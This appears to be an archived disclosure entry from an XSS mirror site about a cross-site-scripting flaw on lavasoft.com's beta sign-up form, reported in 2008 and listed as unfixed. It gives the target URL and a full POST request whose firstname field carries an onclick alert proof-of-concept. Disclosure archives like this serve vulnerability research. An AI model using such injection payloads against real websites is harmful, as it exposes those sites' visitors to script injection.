Security researcher C1c4Tr1Z, has submitted on 29/04/2008 a cross-site-scripting (XSS) vulnerability affecting www.lavasoft.com, which at the time of submission ranked 6238 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 29/04/2008. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail. |
| Date submitted: 29/04/2008 |
Date published: 29/04/2008 |
Fixed? Mail us! | Status:  UNFIXED |
| Author: C1c4Tr1Z |
Domain: www.lavasoft.com |
Category: XSS |
Pagerank: 6238 |
|---|
URL: http://www.lavasoft.com/support/securitycenter/beta_applications.php?ru=/support/securitycenter/beta
/betapage.php |
| POST: firstname=%22+onclick%3Dalert%28%2FHacker%2BSafe%3FXSS%2Bby%2BC1c4Tr1Z%2F%29+%5C&lastname=&email=&te xtarea=By+participating+in+the+Lavasoft+Beta+TestProgram+for+Applications%2C+I+understand+and+agree+ to+the+following%3A%0D%0A%0D%0AI+understand+that+this+is+a+beta+program.%0D%0A%0D%0AI+understand+tha t+a+beta+version+of+an+application+file+is+a+program+that+is+still+in+development+and+is+published+s olely+for+testing+purposes.%0D%0A%0D%0AI+understand+that+the+beta+program+is+licensed+%22as+is%22.++ Lavasoft+AB+makes+no%2C+and+hereby+expressly+disclaims+all%2C+warranties%2C+express%2C+implied%2C+st atutory%2C+or+otherwise+with+respect+to+the+software%2C+including+non-infringement+and+the+implied+w arranties+of+merchantability+and+fitness+for+a+particular+purpose.%0D%0A%0D%0AI+agree+that+Lavasoft+ AB+shall+not+be+liable+for+any+damages+to+me+or+any+other+party+in+connection+with+this+beta+program %2C+whether+arising+out+of+contract+or+from+tort%2C+including+loss+of+data%2C+profits+or+business+or +other+special%2C+incidental%2C+exemplary+or+consequential+damages%2C+even+if+Lavasoft+AB+has+been+a dvised+of+the+possibility+of+such+loss+or+damages.++Lavasoft+AB%27s+cumulative+liability+in+connecti on+with+this+beta+program+shall+not+exceed+the+license+fee+paid%2C+if+any%2C+for+use+of+this+softwar e%2FDetection+Database+and+documentation.+This+section+shall+survive+termination+of+this+License.%0D %0A%0D%0AI+understand+and+agree+that+as+a+beta+tester+for+Lavasoft%2C+my+e-mail+will+be+automaticall y+registered+on+the+beta+tester+mailing+list.%0D%0A%09%09%09%09&textarea=Lavasoft+AB+-+Software+Lice nse+Agreement+for+Beta+Testers%0D%0A%0D%0APlease+read+the+terms+and+conditions+of+this+license+agree ment+%28the+%22License%22%29+before+installing+the+computer+software+%28the+%22Software%22%29.+By+in stalling+and+using+the+Software+you+accept+and+agree+to+the+terms+of+this+License.+This+License+cons titutes+the+entire+agreement+concerning+the+Software+between+you+and+Lavasoft+AB+and+supersedes+any+ prior+proposal+or+representation.+If+you+do+not+agree+with+these+terms+and+conditions%2C+promptly+de -install+the+Software+and%2C+if+you+paid+for+a+License%2C+contact+your+distributor+for+a+refund+of+t he+amount+that+you+paid.%0D%0A%0D%0AThe+term+%22Software%22+includes%2C+and+these+terms+and+conditio ns+also+apply+to%2C+any+updates%2C+modifications+and+upgrades+to+the+Software+that+you+may+receive+f rom+time+to+time.%0D%0A%0D%0A1.+License+Grant%0D%0AThis+License+permits+you+to+use+the+Software+sole ly+for+testing+purposes.+The+enclosed+documentation+%28%22Documentation%22%29+may+not+be+copied.+You +agree+that+you+will+not+sub-license%2C+assign%2C+transfer%2C+distribute%2C+pledge%2C+lease%2C+rent+ or+share+your+rights+under+this+License+except+with+prior+written+permission+from+Lavasoft+AB.+You+a gree+that+you+will+not+modify%2C+adapt+or+translate%2C+or+disassemble%2C+decompile%2C+reverse+engine er+or+otherwise+attempt+to+discover+the+source+code+of+the+Software.%0D%0A%0D%0A2.+Standard+Maintena nce+and+Support%0D%0ANo+support+is+provided+for+applications+released+under+the+Lavasoft+Alpha%2FBet a+application+testing+program.%0D%0A%0D%0A3.+Lavasoft+AB%27s+Rights%0D%0AYou+acknowledge+and+agree+t hat+Lavasoft+AB+owns+and+retains+all+copyrights%2C+trademarks%2C+trade+secrets+and+other+proprietary +rights+in+and+to+the+Software+and+Documentation+%28the+%22Licensed+Products%22%29.+This+License+con veys+to+you+only+a+non-exclusive+and+limited+right+of+use%2C+revocable+in+accordance+with+the+terms+ and+conditions+of+this+License.%0D%0A%0D%0A4.++Confidentiality%0D%0AYou+acknowledge+the+confidential ity+of+the+Licensed+Products%2C+and+agree+not+to+disclose+the+Licensed+Products+or+information+perta ining+to+the+Licensed+products+to+any+third+party%2C+and+to+take+all+reasonable+steps+to+safeguard+t he+Licensed+Products.%0D%0A%0D%0A5.+Exceptions+to+Warranties%3B+Disclaimers%0D%0ALavasoft+AB+DISCLAI MS+ANY+AND+ALL+WARRANTIES%2C+EXPRESS+OR+IMPLIED%2C+INCLUDING+ANY+IMPLIED+WARRANTIES+OF+MERCHANTABILI TY+OR+FITNESS+FOR+PARTICULAR+PURPOSE+for+all+software+released+under+the+Lavasoft+Alpha%2FBeta+appli cation+testing+program.++Lavasoft+AB+does+not+warrant+that+the+Software%2C+its+use%2C+operation+or+y our+ability+to+use+the+Software+will+be+uninterrupted+or+error-free+or+that+all+Software+errors+will +be+corrected.+The+warranty+set+forth+above+shall+not+apply+to+any+defect+or+problems+caused+by+any+ defect+in+any+hardware+or+software+used+in+combination+with+the+Software%2C+or+use+of+the+Software+i n+execution+environments+not+specified+in+the+Documentation.+Lavasoft+AB+does+not+warrant+that+the+S oftware+or+service+will+meet+your+requirements+or+that+the+operation+of+the+Software+will+be+uninter rupted+or+error+free.%0D%0A%0D%0A6.+Limitations+of+Liability%0D%0AIn+no+event+shall+Lavasoft+AB+be+l iable+for+any+damages+to+you+or+any+other+party+whether+arising+out+of+contract+or+from+tort+includi ng+loss+of+data%2C+profits+or+business+or+other+special%2C+incidental%2C+exemplary+or+consequential+ damages%2C+even+if+Lavasoft+AB+has+been+advised+of+the+possibility+of+such+loss+or+damages.+Lavasoft +AB%27s+cumulative+liability+shall+not+exceed+the+license+fee+paid%2C+if+any%2C+for+use+of+this+Soft ware+and+Documentation.+This+section+shall+survive+termination+of+this+License.%0D%0A%0D%0A7.+Termin ation%0D%0AThis+agreement+is+in+effect+until+terminated.+Lavasoft+AB+may+terminate+this+agreement+at +any+time.++You+may+terminate+the+agreement+at+any+time+by+destroying+all+copies+of+the+Software+and +Documentation+and+erasing+any+copies+on+storage+media.+The+agreement+also+terminates+if+you+fail+to +comply+with+any+terms+and+conditions+of+this+agreement.+Upon+termination%2C+you+agree+to+destroy+an d+erase+all+copies+of+the+Software+and+Documentation%2C+and+Lavasoft+AB+will+be+entitled+to+all+reme dies+in+accordance+with+applicable+law.%0D%0A%0D%0A8.+General%0D%0AThis+agreement+shall+be+governed+ by+the+laws+of+Sweden.%0D%0A%0D%0A9.+Contact%0D%0AUse+of+the+Software+other+than+for+testing+purpose s+requires+that+you+enter+into+a+separate+agreement+with+Lavasoft+AB.+Please+e-mail+research%40lavas oft.com+for+further+information.%0D%0A%09%09%09%09&agreetoterms=agree&submit.x=62&submit.y=22&submit =Register |
|
Click here to view the mirror
|
|
|
| 
